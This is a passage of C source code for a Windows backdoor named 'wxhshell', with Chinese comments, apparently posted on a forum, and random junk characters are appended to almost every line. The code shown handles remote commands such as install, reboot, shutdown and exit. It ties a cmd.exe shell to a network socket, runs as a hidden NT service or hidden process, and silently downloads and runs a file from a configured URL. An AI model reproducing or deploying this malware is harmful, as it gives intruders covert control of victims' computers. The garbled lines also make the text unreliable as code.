  else { 4vBbP;ELWq  
j*xens$)  
    switch(cmd[0]) { `fc*/D  
  ^@[[,1"K  
  // 帮助 2EK\QWo  
  case '?': { P9%9/ B:-  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]"CA P%  
    break; mDV 2vg  
  } `RmB{qgB  
  // 安装 9wWjl}%  
  case 'i': { u:,B"!  
    if(Install()) 5@Py`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Nr(WbD[T  
    else /pb7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #Wc)wL-Tg  
    break; 6#{= E @  
    } gWWy!H  
  // 卸载 z6{0\#'K  
  case 'r': { Yhlk#>I  
    if(Uninstall()) Rf%ver  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <:&w/NjbI  
    else Nz:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zcZr )Oh  
    break; 5.\!k8a  
    } 'Ob5l:  
  // 显示 wxhshell 所在路径 ORHC bw9  
  case 'p': { d!wd,Xj}  
    char svExeFile[MAX_PATH]; m]DjIs*@%h  
    strcpy(svExeFile,"\n\r"); Rwy:.)7B$q  
      strcat(svExeFile,ExeFile); HE( U0<9c  
        send(wsh,svExeFile,strlen(svExeFile),0); CWDo_g $  
    break; B2Orw8F  
    } {'r*Jb0  
  // 重启 ?$s2] }v  
  case 'b': { ?2=c'%w7  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^OQ_iPPI  
    if(Boot(REBOOT)) /?J_7Lg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U`8)rtYw  
    else { ,5L &$Q6  
    closesocket(wsh); $x2<D :  
    ExitThread(0); vF([mOZ  
    } 0cS.|\ZTA  
    break; `$#64UZ>U1  
    } -#Wc@\;  
  // 关机 K1+,y1c  
  case 'd': { m=}kGzIY4  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); T%]: tDa  
    if(Boot(SHUTDOWN)) z$YOV"N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (wA|lK3  
    else { z+\>e~U6J}  
    closesocket(wsh); ?ke C   
    ExitThread(0); &<>A  
    } ^~Ar  
    break; !*\^-uvaK  
    } t(_XB|AKm  
  // 获取shell C]):+F<7  
  case 's': { 'Uc|[l]  
    CmdShell(wsh); OVivJx  
    closesocket(wsh); f,uxoAS  
    ExitThread(0); 9g*~X;`2  
    break; {9=U6m^R2  
  } Tw`l4S&  
  // 退出 U>I#f  
  case 'x': { 9B%"7MVn  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); je{5iIr3/  
    CloseIt(wsh); #pVk%5N  
    break; |6;.C1\,  
    } |mM7P^I  
  // 离开 y-Ol1R3:c#  
  case 'q': { hZJ Nh,,w  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /3c1{%B\  
    closesocket(wsh); ^#Z(&/5f0  
    WSACleanup(); C<7J5  
    exit(1); ! TRiFD  
    break; % -SP  
        } ~&q e"0  
  } |LjCtm)@+  
  } ca`=dwe>  
--/  .  
  // 提示信息 P]x@h  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O;zW'*c+  
} 4u&l@BUr  
  } x*)Wl!  
lW2qVR  
  return; xGH%4J\  
} 3NJH"amk  
5&xvY.!27V  
// shell模块句柄 MR~BWH?@1  
int CmdShell(SOCKET sock) q6DhypB  
{ onmO>q*  
STARTUPINFO si; \e?T 9c6,  
ZeroMemory(&si,sizeof(si)); P&SR;{:y  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Uex b>|  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Y/hay[6  
PROCESS_INFORMATION ProcessInfo; dGfWRqS]  
char cmdline[]="cmd"; u9&p/qMx2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Fb}9cpz{  
  return 0; '1{~y3  
} ZcQm(my  
0b|!S/*A3  
// 自身启动模式 O4#zsr:"  
int StartFromService(void) 5 QT9  
{ 8q0 .yhb  
typedef struct |On6?5((e  
{ mPh;  
  DWORD ExitStatus; LnL<WI*Pq  
  DWORD PebBaseAddress; kjmF-\  
  DWORD AffinityMask; q'@UZ$2  
  DWORD BasePriority; 9 o18VJR  
  ULONG UniqueProcessId; lg=[cC2  
  ULONG InheritedFromUniqueProcessId; vSyN_AB?$  
}   PROCESS_BASIC_INFORMATION; +Rvj]vd}&  
XNl!(2x'pb  
PROCNTQSIP NtQueryInformationProcess; N; hq  
 OkQSqL  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <)&ykcB  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; JxWHrsh[  
bH.">IV  
  HANDLE             hProcess; [_~U<   
  PROCESS_BASIC_INFORMATION pbi; DUtpd|  
#}gc6T~0  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ox*Ka]  
  if(NULL == hInst ) return 0; n}+ DO6J  
p\HXE4d'  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); IW46-;l7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); k^L (q\D  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); jC@^/rMh  
N,O[pTwj  
  if (!NtQueryInformationProcess) return 0; [J];  
FJ!>3V;}  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9X(bByEO  
  if(!hProcess) return 0; qd.b&i  
PM|K*,3J  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; aR\=p:%jGI  
 ;js7rt  
  CloseHandle(hProcess); }6KL   
6xOR,p>E  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `?$R_uFh:  
if(hProcess==NULL) return 0; U8c0C/  
g5"g,SFGr  
HMODULE hMod; Z4e?zY  
char procName[255]; dYsqF 3f  
unsigned long cbNeeded; \i&yR]LF  
yJr Pb"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $W2g2[+  
JrQN-e!  
  CloseHandle(hProcess); s)N1@RBR  
e^FS/=  
if(strstr(procName,"services")) return 1; // 以服务启动 x}roPhZ  
E*ic9Za8`h  
  return 0; // 注册表启动 9-@w(kMu  
} _S[H:b$?  
(u*]&yk  
// 主模块 rd"]$_P8O  
int StartWxhshell(LPSTR lpCmdLine) I?PKc'b  
{ GM%|mFqeu  
  SOCKET wsl; ]juXm1)>W1  
BOOL val=TRUE; aB Yhk|Ei  
  int port=0; +]__zm/^  
  struct sockaddr_in door; %d>Ktf  
"au"\}   
  if(wscfg.ws_autoins) Install(); z XvWo6  
z[';HJ0O;  
port=atoi(lpCmdLine); !At_^hSqz  
X=JSqO6V9  
if(port<=0) port=wscfg.ws_port; OVd"'|&6_  
"[8](3\v  
  WSADATA data; $nVTN.k  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; V^0*S=N  
$'&5gFr9  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   vxwctJ&  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }:BF3cH> 0  
  door.sin_family = AF_INET; USbiI %   
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 06ueE\@Sg  
  door.sin_port = htons(port); Rub""Ga  
v-l):TL+=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /M#A[tZ3  
closesocket(wsl); '*T7tl  
return 1; z><JbSE?  
} E u@TCw8@  
>GjaA1,  
  if(listen(wsl,2) == INVALID_SOCKET) { FVSz[n  
closesocket(wsl); 8Yj(/S3y  
return 1; <Ei|:m  
} We9mkwK7C  
  Wxhshell(wsl); fEpY3od  
  WSACleanup(); ja:%j&:  
1{,WY(,c  
return 0; Mpj3<vj   
X{ Nif G  
} "NJ!A  
8@r+)2  
// 以NT服务方式启动 ?>,aq>2O$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) fb#Ob0H  
{ { ~Cqb7  
DWORD   status = 0; jem$R/4"  
  DWORD   specificError = 0xfffffff; bc&:v$EGy  
P2oR C3~  
  serviceStatus.dwServiceType     = SERVICE_WIN32; )kkO:j  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; fg,~[%1  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; R~tv?hP  
  serviceStatus.dwWin32ExitCode     = 0; UdY9*k  
  serviceStatus.dwServiceSpecificExitCode = 0; g<,|Q5bK  
  serviceStatus.dwCheckPoint       = 0; ZSbD4 |_  
  serviceStatus.dwWaitHint       = 0; TX*P*-'  
8n'C@#{WV  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >i0FGmxH  
  if (hServiceStatusHandle==0) return; f2d"b+H#  
P_qxw-s  
status = GetLastError();  \n`]QN  
  if (status!=NO_ERROR) ")LF;e  
{ W0?yPP=.  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 1di?@F2f  
    serviceStatus.dwCheckPoint       = 0; }vm17`Gfy  
    serviceStatus.dwWaitHint       = 0; nmgW>U0jZh  
    serviceStatus.dwWin32ExitCode     = status; YZoH{p9f  
    serviceStatus.dwServiceSpecificExitCode = specificError; FV^kOz  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); `*~:n vU  
    return; G? [#<W@+  
  } ufm#H#n)#X  
;%%=G;b9  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; C 4n5U^  
  serviceStatus.dwCheckPoint       = 0; r` 3)sc  
  serviceStatus.dwWaitHint       = 0; 3)T5}_  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `yVJ `} hm  
} MBa/-fD  
 ,{.&xJ$  
// 处理NT服务事件,比如:启动、停止 EJ86k>]  
VOID WINAPI NTServiceHandler(DWORD fdwControl) R{*p \;  
{ KcSvf;sx  
switch(fdwControl) (K2 p3M^  
{ #!5GGe{I  
case SERVICE_CONTROL_STOP: ."h;H^5  
  serviceStatus.dwWin32ExitCode = 0; B[Tw0rQ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; mMa7Eyaf  
  serviceStatus.dwCheckPoint   = 0; CjO/q)vV  
  serviceStatus.dwWaitHint     = 0; #4|?;C)u\  
  { 9,9( mbWJv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); v=/V<3  
  } |g7E*1Ie  
  return; }b+=,Sc"  
case SERVICE_CONTROL_PAUSE: k1%Ek#5  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; (57x5qP X  
  break; a1Gy I  
case SERVICE_CONTROL_CONTINUE: G& ;W  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; eR3!P8t  
  break; ~=c#Ff =Z  
case SERVICE_CONTROL_INTERROGATE: 1&m08dZm5  
  break; iPs()IN.O  
}; 5v?6J#]2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |_ ;-~bmb  
} L=VuEF  
D9Q%*DLd$_  
// 标准应用程序主函数 SR\#>Qwx_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {^ N = hI  
{ QALMF rWH  
air{1="<-  
// 获取操作系统版本 +]AE}UXZoh  
OsIsNt=GetOsVer(); cW3;5  
GetModuleFileName(NULL,ExeFile,MAX_PATH); tw.%'oJ7  
yCQpqh  
  // 从命令行安装 Qs4Jl;Y_  
  if(strpbrk(lpCmdLine,"iI")) Install(); zg^5cHP\  
>w V$az  
  // 下载执行文件 v|`)~"~  
if(wscfg.ws_downexe) { J|K~a?&vN  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) D@0eYX4s  
  WinExec(wscfg.ws_filenam,SW_HIDE); JM M\  
} j7i[z>:Y  
n[{o~VN  
if(!OsIsNt) { D@f%&|IZ  
// 如果时win9x,隐藏进程并且设置为注册表启动 Z &PwNr/  
HideProc(); 578Dl(I#)  
StartWxhshell(lpCmdLine); rb9 x||  
} 7IFUsli]  
else &\5T`|~)!  
  if(StartFromService()) =JEnK_@?K\  
  // 以服务方式启动 c !5OK4+Z  
  StartServiceCtrlDispatcher(DispatchTable); RJGf@am&  
else n RXf\*"3  
  // 普通方式启动 (3 _2h4O  
  StartWxhshell(lpCmdLine); E]+W^ VG  
BI}>"',  
return 0; zf^!Zqn[8z  
}
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只看该作者 1 发表于: 2006-10-10
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